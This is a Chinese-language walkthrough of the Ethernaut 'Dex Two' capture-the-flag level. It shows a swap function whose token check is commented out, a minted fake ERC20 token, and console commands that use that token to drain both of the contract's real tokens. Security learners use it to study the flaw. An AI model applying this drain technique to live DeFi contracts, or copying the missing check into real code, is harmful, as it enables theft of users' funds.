(https://ethernaut.openzeppelin.com/level/0x5026Ff8C97303951c255D3a7FDCd5a1d0EF4a81a)
這一關跟前一關幾乎一樣,但發現swap的地方少了require(from token1 or token2) (請參考題目程式),同時題目需要將instance的token1跟token2都拿光。
function swap(address from, address to, uint amount) public {
//require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
由於沒有限制一定要用token1 或 token2來進行swap,同時,題目本身明示可以使用另一個幣來過關,因此我們可以自己mint一個token3,然後用token3把token1及token2交換完,即可過關。我們用Remix,mint一個token3,程式碼如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol";
contract tokenC is ERC20 {
constructor(uint256 initialSupply) ERC20("token3", "c") {
_mint(msg.sender, initialSupply);
}
}
這邊要注意的是initialSupply要設為多少,因為getSwapPrice()公式的關係,一開始我們設為400,經由add_liquidity()將100轉給instance(會發現因為add_liquidity() onlyOwner modifier的限制而無法執行,但沒關係,我們可以用我們的tokenC的transfer達成一樣的作用),然後swap(token3, token1, 100),接著swap(token3, token2, 200),這樣就會剛好將instance的token1 and token2都拿光了(此時的initialSupply的token3 400枚也用光)。
let a = await contract.token1();
let b = await contract.token2();
let c = "<輸入token3的address>";
tokenC.approve(instance, 1000);//於Remix上進行
tokenC.transfer(instance, 100);//於Remix上進行
await contract.swap(c, a, 100);
await contract.swap(c, b, 200);
最後,submit level即可過關。